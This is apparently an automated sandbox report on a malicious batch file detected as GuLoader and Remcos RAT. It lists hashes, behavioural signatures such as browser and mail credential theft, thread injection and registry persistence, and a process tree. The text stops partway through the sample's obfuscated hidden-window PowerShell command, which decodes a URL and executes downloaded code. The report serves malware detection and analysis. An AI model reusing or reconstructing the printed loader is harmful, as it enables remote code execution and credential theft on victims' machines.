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Windows
Analysis Report
LTEXSP 5634 HISP9005 ST MSDS DOKUME74247liniereletbrunkagerne.bat
Overview
General Information
| Sample name: | LTEXSP 5634 HISP9005 ST MSDS DOKUME74247liniereletbrunkagerne.bat |
| Analysis ID: | 1539161 |
| MD5: | 79c452316f1b510462cf29f5fbbd84ba |
| SHA1: | 2f95ab9367e8ef18427e2a8568afffbe0f197f22 |
| SHA256: | 4c697bdcbe64036ba8a79e587462960e856a37e3b8c94f9b3e7875aeb2f91959 |
| Tags: | batuser-lowmal3 |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Powershell creates an autostart link
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Writes to foreign memory regions
Yara detected WebBrowserPassView password recovery tool
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sleep loop found (likely to delay execution)
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 5772 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\LTEXS P 5634 HIS P9005 ST M SDS DOKUME 74247linie reletbrunk agerne.bat " " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4052 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 2912 cmdline: powershell .exe -wind owstyle hi dden " <#A fstrmnings forholdene Mastigone me Cuspidi ne informe rs Verdens bermtheder nes Vandfo rsyningsre sursers Vi dneudsagne t #>;$Data bger162='U sigelig';< #Receptore rnes Prepa rietal Kav alerers Ve rnix Eskor tere Betal bare #>;$A fgiftssats er=$Machin e+$host.UI ; function Fyrsterne s($Sadlepl adser){If ($Afgiftss atser) {$H orological ++;}$Kryds finerplade =$Angstneu roser+$Sad lepladser. 'Length'-$ Horologica l; for( $S watting=4; $Swatting -lt $Kryds finerplade ;$Swatting +=5){$grat ulerende=$ Swatting;$ Renees+=$S adlepladse r[$Swattin g];$Fremti dsforskere ns='Butene s';}$Renee s;}functio n kaldedes ($Teksthis tories){ . ($Absol utismes) ( $Teksthist ories);}$L ively=Fyrs ternes ',k elME,eroBa itzMagiiHi hlAcrol S anadsri/Mo se ';$Live ly+=Fyrste rnes 'Jasp 5Feve.Unpa 0Ga t Sab. (MoviWM st i,ovinN or dEs uoSk d wTebrs .li HjerNMe.a Tbobb Smrb 1Ou t0Marg .Skov0Ride ;Pac S bvW osihowbnS cyb6Test4 F i;Sata P o xHaug6Pl m4 lon;Kn it F ndrB ttvStr :ga ,p1Ti e3No ne1 put.S ap0 Led)Ou t SymbGSvr oe Rosc kn ok Ar oAla b/Vars2 re m0 Da.1gul d0I.do0tug t1Fljl0Dom m1Jean Hyd F Regi Ch rHalielseh fGrouoEspa xBli /Tok 1 Urf3Hyra 1 Tal.mind 0Rapf ';$H airstylist s=Fyrstern es 'AlmuUK rivsFor eA m eRSimu-K ramadel gB or E Amin SubT loc ' ;$Hypernic =Fyrsterne s 'Sy ehLi mptVapot A nnpKarbsTa nd:Supe/Co p/PopupFr mnlSepti T .reBeculUn rit Sard P ro.FejltDa taoEkspp P le/Hov KVo yavGur aNo rmlGriliJu difistaiDe tecWhipeSt a rStudeOv erdCorreTr icsOuvr.Ba nkq CycxPi ondIoej '; $Torsiogra m=Fyrstern es 'Soci>M oto ';$Abs olutismes= Fyrsternes 'U maifin aE LecxNav n ';$fored ragsforeni nger='Time table';$Ov erwhelming ly='\Unsla ve.Mel';ka ldedes (Fy rsternes ' Todk$ Torg SkrlNon o onbSalgAD istluds :E pisFTriveU nivr Teki ,paa SprsO bst5 S r= .ro$IsomeA abnCateV Pse:af saU rstPDuckpF edeDAntiAM ultTKablA har+fari$G eodoMaimv SkyE HysrK nejwElsdhB ndE,occL oleMvkkeiT absn PokG BorLInteY r,i ');kal dedes (Fyr sternes 'I in$K,ntg OphlP ojoP ertBKar aA matlStol:c aviuacrodS lipgVarsI atifslskt Spas KoobR .eueBotthD aasO recvR esmeKystTL incsBetr=V as $OmstHA .urYRu.dPB ridESpa.rC itaNBr eI. iliC .sn.C oloSDeviPS licl UnmiL asttIn e(a ger$Lgeet katOReinR PedSRangi Bi OLegeGH e orBiogaA r,em Gro)B oxb ');kal dedes (Fyr sternes 'O pdy[ UnsNL ys eAdipTF oge.FalssN ,naeSciaRE tervGradi AfdCGeepE otopDis.o domIbarynS upeTH poMr craBoerNP iemaBe ngU .dteUpasrM ani]Part:T .ul: DemS WalEPterCU dlnu sanRF skIFr sTN ediYOmsaP O erDauwOK ofiTOutnOF rydcPrveOF orkLNost V io,= utc P oll[Cavan, udeEP,natb ch.RecesT ab eBr sCU ndiuOmveRC entiK pit TreY .ntPS uper PraO BriT.karOE ntrC rbvOR estl IneTf